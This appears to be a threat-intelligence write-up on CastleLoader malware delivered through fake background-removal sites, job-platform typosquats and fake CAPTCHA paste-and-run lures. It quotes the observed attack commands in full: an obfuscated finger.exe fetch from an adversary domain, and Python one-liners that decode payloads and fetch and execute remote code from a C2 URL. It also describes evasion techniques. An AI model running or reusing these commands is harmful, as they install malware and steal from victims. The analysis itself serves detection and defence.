= trending up from previous month
= trending down from previous month
= no change in rank from previous month
*Denotes a tie
Storming the CastleLoader
CastleLoader, a malware loader capable of delivering payloads including infostealers and RATs, has been active since early 2025 and is frequently distributed via paste and run campaigns. In April 2026, a campaign dubbed BackgroundFix lured users to visit fake background removal websites like ai-scan[.]digital and bg-transparency[.]online. The sites presented a non-functional UI with upload progress bars and prompted users to complete a fake CAPTCHA verification, copying malicious commands to the victim’s clipboard if successfully completed.
Image of BackgroundFix fake removal website and fake CAPTCHA, from Huntress
CastleLoader has also been distributed through job platform impersonation campaigns targeting LinkedIn and Indeed users. Typosquatted domains like linkedall[.]org, golinked[.]net, and indeed-jobs[.]net used Google Ads for distribution. If navigated to, users encountered fake Cloudflare Turnstile CAPTCHA pages that triggered the paste and run infection chain.
The paste and run initial execution we observed frequently used caret-obfuscated commands with finger.exe, for example:
%COMSPEC% /k s^t^a^r^t "" /min for /f "skip=8 delims=" %h in ('f^^i^^n^^g^^e^^r nrLeDHDESi@cheeshomireciple[.]com') do call %h & exit
After successful paste and run command execution, finger.exe retrieved batch commands from adversary-controlled servers. One command subsequently downloaded portable Python distributions disguised as PDF files and extracted them using tar.exe. This is a Bring-Your-Own-Interpreter (BYOI) technique, in which the adversary bundles a legitimate Python interpreter—either CPython from python[.]org or IronPython from GitHub releases—to avoid relying on software installed on the victim machine. The Python interpreter was renamed to a random 12 to 18-digit filename before execution, for example: C:users.
Another batch command retrieved by finger.exe ran a Base64-encoded, zlib-compressed Python script to retrieve a Python-based shellcode loader from adversary-controlled resources. The shellcode loader used triple-layer encoding (Base64, zlib, UTF-32) and Cyrillic character substitution for obfuscation and fetched an RC4-encrypted payload. This payload contained the CastleLoader binary:
"C:UsersAppDataLocalpython-3.7.7.1-embed-win32\\///////\\///////\\///////python" -c "import sys,subprocess as s,base64 as b,zlib as z;s.Popen([sys.executable,'-c',z.decompress(b.b64decode('eJydk8FKA0EQ...kb8B3z3XZ8=')).decode('utf-32')],creationflags=s.CREATE_NO_WINDOW)" “python.exe” -c “#88dbEhjQbOqGRCdQyp8nimport sslnimport timenimport urllib.requestnssl._create_default_https_context = ssl._create_unverified_contextnc = urllib.request.urlopen(‘hxxps://mirtona[.]com/4ba0af68-0037-5f6e-afd1-64f89fc0f554/loc12’).read().decode(‘utf-8’)ntime.sleep(2.1)nexec(c)”
Command lines observed when the zlib-compressed Python script reaches out to retrieve the triple-encoded shellcode loader
If successful, the decrypted CastleLoader binary is injected into python.exe using process injection via a shellcode-based loader. The infected process then reaches out to command and control (C2) servers for additional configuration, tasking, and payloads. CastleLoader supports 14 launch methods for executing payloads, including ShellExecuteW, WinExec, CreateProcessW, rundll32.exe, cmd.exe, powershell.exe, and msiexec.exe. It uses anti-analysis techniques, including cpuid instructions to detect VMware, VirtualBox, and Parallels virtual environments. It can also capture screenshots of the desktop via the GDI BitBlt pipeline.
The use of carets to attempt to obfuscate the initial execution commands seen in recent CastleLoader campaigns gives us a detection opportunity.
